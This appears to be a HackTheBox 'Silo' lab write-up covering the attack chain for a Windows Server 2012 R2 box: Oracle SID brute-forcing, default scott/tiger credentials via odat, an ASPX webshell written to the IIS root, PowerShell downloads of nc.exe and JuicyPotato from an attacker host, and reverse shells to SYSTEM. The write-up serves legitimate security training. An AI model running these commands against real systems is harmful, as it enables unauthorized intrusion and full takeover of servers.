Skip to content
HackIndex.io

Silo Writeup - HackTheBox

Medium Windows
HackTheBox Discuss on Discord
Mohammad Meraj

Independent Security Researcher

Silo is a Windows Server 2012 R2 box. The chain runs: nmap finds IIS 8.5 and an unauthorized Oracle TNS listener on port 1521, the SID is brute-forced to XE, odat recovers the default scott/tiger credentials, UTL_FILE with SYSDBA rights writes a webshell to the IIS web root, nc.exe staged via the webshell gives an interactive shell as the IIS app pool identity, and SeImpersonatePrivilege with JuicyPotato escalates to SYSTEM.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -p80,135,139,445,1521,5985 -sCV $TARGET_IP -oA nmap/nmap 
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 8.5
445/tcp  open  microsoft-ds Microsoft Windows Server 2012
1521/tcp open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0

Oracle TNS listener on 1521 is the main attack surface. IIS on 80 will be the delivery point once file write is obtained via Oracle.

Oracle Enumeration

SID brute force

┌──(kali㉿kali)-[~]
└─$ nmap -p1521 --script oracle-sid-brute $TARGET_IP 
| oracle-sid-brute:
|_  XE

SID is XE, Oracle Express Edition default. Try default credentials:

┌──(kali㉿kali)-[~]
└─$ odat passwordguesser -s $TARGET_IP -p 1521 -d XE 
[+] Valid credentials found: scott/tiger. Continue...
[+] Accounts found on $TARGET_IP:1521/sid:XE:
scott/tiger

scott/tiger is an Oracle default demo account shipped since the early Oracle versions. Confirm it and enumerate what it can do:

┌──(kali㉿kali)-[~]
└─$ odat all -s $TARGET_IP -d XE -U SCOTT -P tiger --sysdba 
[2.3] UTL_FILE library ? [+] OK
[2.11] External table to read files ? [+] OK
[2.12] External table to execute system commands ? [+] OK
[2.16.1] DBA role using CREATE/EXECUTE ANY PROCEDURE privileges? [+] OK

UTL_FILE with SYSDBA rights gives arbitrary OS file write. IIS web root is the obvious target.

Foothold

Write ASPX webshell via UTL_FILE

┌──(kali㉿kali)-[~]
└─$ odat utlfile -s $TARGET_IP -p 1521 -d XE -U SCOTT -P tiger --sysdba --putFile 'C:\inetpub\wwwroot' cmdasp.aspx /usr/share/webshells/aspx/cmdasp.aspx 
[+] The cmdasp.aspx file was created on the C:\inetpub\wwwroot directory on the $TARGET_IP server
┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/cmdasp.aspx | head -5 
<!-- ASP.NET web shell -->

Webshell is live. Stage nc.exe via the command box (open in browser and use the text field since ASPX WebForms uses VIEWSTATE), then catch a shell:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080 
# Via webshell command box:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER_IP:8080/nc.exe','C:\Windows\Temp\nc.exe')"
# Via webshell command box:
C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49164
Microsoft Windows [Version 6.3.9600]
c:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool

Shell as iis apppool\defaultapppool.

Privilege Escalation

SeImpersonatePrivilege via JuicyPotato

C:\Users\Guest\Desktop> whoami /priv 
SeImpersonatePrivilege        Impersonate a client after auth...  Enabled
SeCreateGlobalPrivilege       Create global objects               Enabled

Server 2012 R2, build 9600, no post-2018 patches means JuicyPotato still works. Stage it and run with a CLSID valid for this build. Launch cmd.exe as the JuicyPotato target process and have it spawn nc.exe, not nc.exe directly, for reliable shell delivery under CreateProcessWithTokenW:

C:\Users\Guest\Desktop> powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER_IP:8080/JuicyPotato.exe','C:\Windows\Temp\jp.exe')"
C:\Users\Guest\Desktop> C:\Windows\Temp\jp.exe -l 4444 -p C:\Windows\system32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097} 
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49190
Microsoft Windows [Version 6.3.9600]
C:\Windows\system32>whoami
nt authority\system

Related

Oracle Listener Enumeration with ODAT
Blog

Oracle Listener Enumeration with ODAT
Oracle OS Command Execution
Blog

Oracle OS Command Execution
Oracle SQL Execution and File Access
Blog

Oracle SQL Execution and File Access
IIS ASPX Web Shell Upload
Blog

IIS ASPX Web Shell Upload

Exploit IIS misconfigurations to upload and execute ASPX web shells, gaining remote code execution o...
Token Impersonation – SeImpersonatePrivilege Exploitation
Blog

Token Impersonation – SeImpersonatePrivilege Exploitation

Exploits SeImpersonatePrivilege to impersonate high-privilege tokens via named pipes or API abuse, e...
Hot Potato and Rotten Potato – Legacy Token Impersonation
Blog

Hot Potato and Rotten Potato – Legacy Token Impersonation

Exploits NBNS spoofing, WPAD abuse & NTLM relay to DCOM for SYSTEM token impersonation via SeImperso...

References